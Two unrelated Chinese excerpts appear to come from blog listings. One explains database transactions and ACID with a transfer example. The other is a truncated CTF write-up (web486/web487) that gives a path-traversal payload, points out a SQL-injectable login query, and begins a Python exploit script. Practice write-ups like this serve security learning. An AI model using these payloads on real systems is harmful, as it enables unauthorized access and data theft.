事务的4个特性——ACID（原子性、一致性、隔离性和持久性）事务是一个操作序列。这些操作要么都做，要么都不做，是一个不可分割的工作单位。事务通常以BEGIN TRANSACTION开始，以COMMIT或ROLLBACK操作结束，COMMIT即提交，提交事务中所有的操作、事务正常结束。ROLLBACK即回滚，撤消已做的所有操作，回滚到事务开始时的状态。对于事务可以举一个简单的例子：转账，有A和B两个用户，A用户转100到B用户，如下所示：A：---->支出100，...
web486 扫描后台发现flag.php，根据url发现存在文件包含，templates/xxx.php 所以只需要action=…/flag即可 payload： index.php?action=../flag web487 通过action=…/index得到sql语句 $sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1"; 很明显的sql注入 import requests import string url="http://2e8521c5-5495-4791-8e10-6b4351dac62e.challenge.ctf.sho...